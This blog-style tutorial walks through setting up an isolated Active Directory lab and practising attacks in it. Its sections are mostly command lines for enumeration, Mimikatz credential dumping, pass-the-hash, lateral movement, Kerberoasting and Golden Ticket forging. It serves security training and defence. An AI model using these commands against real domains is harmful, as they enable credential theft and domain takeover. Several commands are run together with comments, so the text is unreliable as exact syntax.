Listen to this Post
Introduction:
Active Directory (AD) is the central nervous system of most corporate networks, making it a prime target for cyber attackers. Understanding common AD attack vectors is no longer optional for security professionals; it is a fundamental requirement for effective defense. This guide provides a hands-on, lab-oriented approach to replicating these attacks safely, equipping you with the knowledge to both exploit and defend critical identity infrastructure.
Learning Objectives:
- Understand the core components of an Active Directory lab environment for security testing.
- Master fundamental enumeration techniques to discover users, groups, and systems.
- Execute and analyze common attack paths, including credential dumping and lateral movement.
You Should Know:
1. Building Your Isolated Attack Lab
Before any attack can be practiced, a safe, isolated environment is paramount. This prevents accidental damage to production networks and allows for unrestricted learning.
Verified Commands & Setup:
VMware Workstation / VirtualBox: Create a virtual network configured as “Host-Only” or “NAT Network”. This ensures your lab VMs cannot contact your physical network.
Microsoft Evaluation Center: Download Windows Server 2022 and Windows 10/11 Enterprise evaluation ISOs. These provide 180-day free trials.
PowerShell (on Windows Server):
Install the Active Directory Domain Services role Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools Promote this server to a domain controller Install-ADDSForest -DomainName "lab.local"
Windows 10 Client Join:
Join a Windows 10 client to the domain Add-Computer -DomainName "lab.local" -Credential LAB\Administrator -Restart
Step-by-step guide:
First, install your hypervisor. Create a new virtual machine for Windows Server, using the downloaded ISO. During the OS installation, set a strong password for the local administrator. Once booted, run the PowerShell commands above to create a new forest named “lab.local”. This will install and configure the AD DS role, making the server a Domain Controller. Next, create your Windows 10 client VM. After the base OS install, configure its network adapter to be on the same virtual network as the Domain Controller. Use the `Add-Computer` PowerShell command to join it to the “lab.local” domain. You have now built a foundational AD lab.
2. Initial Reconnaissance with PowerView
The first step in any attack is information gathering. PowerView is a powerful PowerShell script part of the PowerSploit framework used for AD enumeration.
Verified Commands:
Import PowerView into your PowerShell session Import-Module .\PowerView.ps1 Get a list of all domains in the forest Get-NetForest Enumerate all domain computers Get-NetComputer Enumerate domain users Get-NetUser Find users with SPNs (potential service accounts) Get-NetUser -SPN Enumerate domain groups Get-NetGroup Find shared folders on the network Invoke-ShareFinder
Step-by-step guide:
Download the PowerView.ps1 script from the official PowerSploit repository. On your domain-joined Windows 10 client, open PowerShell as a standard user. Bypass the execution policy if needed with powershell -ExecutionPolicy Bypass. Use the `Import-Module` command to load PowerView. Begin by running `Get-NetForest` to confirm your domain context. Then, use `Get-NetComputer` to discover all systems joined to the domain. The `Get-NetUser` command will list all user accounts; you can pipe it to `Select-Object name,logoncount` to see active users. Hunting for service accounts with `Get-NetUser -SPN` is critical as these accounts can be targeted for Kerberoasting attacks.
3. Network-Level Enumeration with Nmap and enum4linux
While PowerView works from inside, external attackers often start with network scanners. Nmap is the industry standard, and enum4linux is a Perl script for enumerating data from Windows and Samba systems.
Verified Commands (Linux Attack Box):
Perform a SYN scan to discover live hosts sudo nmap -sS 192.168.56.0/24 Scan for open ports and service versions on a target sudo nmap -sC -sV -O 192.168.56.10 Specifically check for SMB ports sudo nmap -p 445 --open 192.168.56.0/24 Enumerate SMB for shares, users, and groups enum4linux -a 192.168.56.10 Use smbclient to list shares smbclient -L //192.168.56.10 -N Check for NULL session vulnerability rpcclient -U "" -N 192.168.56.10
Step-by-step guide:
From a Kali Linux VM on the same virtual network, use Nmap to discover the IP addresses of your Domain Controller and client. The `-sS` flag performs a stealthy SYN scan. Once you have the DC’s IP, run a comprehensive scan with `-sC` (default scripts) and `-sV` (version detection). If port 445 (SMB) is open, use `enum4linux -a` to perform all checks, which may reveal share names, user lists, and password policies. The `smbclient` command can be used to attempt anonymous access to listed shares.
4. Credential Access with Mimikatz
Credential dumping is a cornerstone of AD attacks. Mimikatz is the most famous tool for extracting plaintext passwords, hashes, and Kerberos tickets from memory.
Verified Commands (Run from an elevated shell):
Launch Mimikatz privilege::debug Dump LSASecrets from memory lsadump::secrets Dump SAM database to extract local user hashes lsadump::sam Extract logon passwords and hashes from memory sekurlsa::logonpasswords Pass The Hash technique (using an extracted NTLM hash) sekurlsa::pth /user:Administrator /domain:lab.local /ntlm:<HASH> /run:cmd.exe
Step-by-step guide:
Warning: This should only be done in your own lab. Download Mimikatz to your domain-joined Windows 10 client. You must run it as Administrator. The first command, privilege::debug, attempts to gain the SeDebugPrivilege, which is required to interact with other processes’ memory. If successful, the `sekurlsa::logonpasswords` command will display passwords and hashes for currently logged-on users. This is how an attacker can escalate from a compromised user’s context to an administrator’s. The `lsadump::sam` command can extract the local SAM database, while `lsadump::secrets` dumps LSA secrets, which can contain service account passwords.
5. Lateral Movement with PsExec and WMI
Once credentials are obtained, moving laterally between systems is the next goal. PsExec and Windows Management Instrumentation (WMI) are common legitimate tools used for this purpose.
Verified Commands:
Using PsExec to get a remote shell (with password)
.\PsExec.exe \TARGET-PC -u LAB\user -p Password cmd.exe
Using WMI to execute a command remotely
wmic /node:TARGET-PC process call create "cmd.exe /c whoami > C:\output.txt"
Using PowerShell Invoke-Command (requires WinRM enabled)
Invoke-Command -ComputerName TARGET-PC -ScriptBlock { whoami } -Credential LAB\user
Using Schtasks to run a remote command
schtasks /create /s TARGET-PC /tn "Backdoor" /tr "cmd.exe" /sc once /st 00:00 /u LAB\user /p Password
schtasks /run /s TARGET-PC /tn "Backdoor"
Step-by-step guide:
After dumping credentials, if you have a local administrator’s password hash, you can use PsExec with the Pass-The-Hash technique to gain a remote command prompt on another machine. The WMI `wmic` command allows for the remote creation of processes. For example, you can create a reverse shell payload or simply run a command to prove access. The PowerShell `Invoke-Command` cmdlet is a more modern approach but requires WinRM to be configured and listening on the target. The `schtasks` method creates a scheduled task that runs a command, providing another method for execution.
6. Privilege Escalation via Kerberoasting
Kerberoasting is a popular technique for attacking service accounts. It involves requesting encrypted service tickets for accounts with Service Principal Names (SPNs) and then attempting to crack them offline.
Verified Commands:
Request Kerberoastable tickets for all users with SPNs (PowerView) Invoke-Kerberoast -OutputFormat HashCat | Select-Object Hash | Out-File -FilePath hashes.txt -Encoding ASCII Using Rubeus to perform Kerberoasting .\Rubeus.exe kerberoast /stats /outfile:hashes.txt Crack the extracted hash using Hashcat on Linux hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -O Using John the Ripper john --format=krb5tgs hashes.txt --wordlist=rockyou.txt
Step-by-step guide:
From your domain-joined client, use PowerView’s `Invoke-Kerberoast` cmdlet or the Rubeus tool. These tools will query the Domain Controller for all user accounts with SPNs and request service tickets (TGS) on their behalf. The encrypted part of these tickets is encrypted with the service account’s password hash. The tools output this encrypted data in a format suitable for offline cracking with tools like Hashcat or John the Ripper. If the service account has a weak password, it will be cracked, giving the attacker a new set of credentials, which often have higher privileges than a standard user.
7. Domain Persistence with Golden Ticket Attack
A Golden Ticket attack provides persistent, nearly undetectable access to the domain by forging Kerberos Ticket-Granting Tickets (TGTs). This requires the KRBTGT account’s password hash, which is the ultimate prize for an attacker.
Verified Commands (Mimikatz):
Dump the KRBTGT hash from the Domain Controller (requires Domain Admin) lsadump::dcsync /user:LAB\krbtgt Forge a Golden Ticket kerberos::golden /user:GenericUser /domain:lab.local /sid:S-1-5-21-... /krbtgt:<KRBTGT_HASH> /id:500 /ptt Verify the ticket is in your session klist Now access the Domain Controller dir \DC01.lab.local\C$
Step-by-step guide:
This is an advanced attack that requires Domain Admin privileges. First, an attacker who has compromised a Domain Controller would use Mimikatz’s `lsadump::dcsync` function to pull the KRBTGT account’s password hash. With this hash, they can forge a TGT (Golden Ticket) using the `kerberos::golden` command. The `/ptt` flag injects this ticket directly into the current session’s memory. Once injected, the attacker can access any resource in the domain as any user (specified by the `/id` parameter, where 500 is the built-in Administrator) for as long as they want, completely bypassing normal authentication and password changes.
What Undercode Say:
- Offense Informs Defense: The only way to build resilient defenses is to understand the attacker’s playbook from the inside out. Building a lab and practicing these attacks is the most effective training a blue teamer can undertake.
- Identity is the New Perimeter: This guide underscores that in a modern network, the assumption of a hardened external perimeter is flawed. Attackers who compromise a single endpoint can, through these AD attack paths, pivot to control the entire kingdom.
The practical, hands-on nature of the referenced guide highlights a critical shift in cybersecurity education. Theoretical knowledge is insufficient; muscle memory built in a lab is what enables professionals to rapidly detect and respond to real-world incidents. The attacks detailed here are not esoteric; they are the daily bread of penetration testers and ransomware groups alike. By mastering these fundamentals, security teams move from a reactive to a proactive posture, designing their AD environments with these specific threats in mind, implementing controls like Least Privilege, Protected Users groups, and robust monitoring for the specific command-line activity these attacks generate.
Prediction:
The automation and commoditization of these fundamental AD attack techniques will continue to accelerate. We will see them increasingly integrated into ransomware-as-a-service (RaaS) platforms and AI-powered penetration testing tools, lowering the barrier to entry for less skilled attackers. This will force a paradigm shift in enterprise security towards a “Zero Trust” model, where implicit trust in the internal network is eliminated. Continuous validation, strict micro-segmentation, and AI-driven anomaly detection on identity-based attacks will become standard requirements, not luxuries, for any organization relying on Active Directory.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Hisham Razak – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
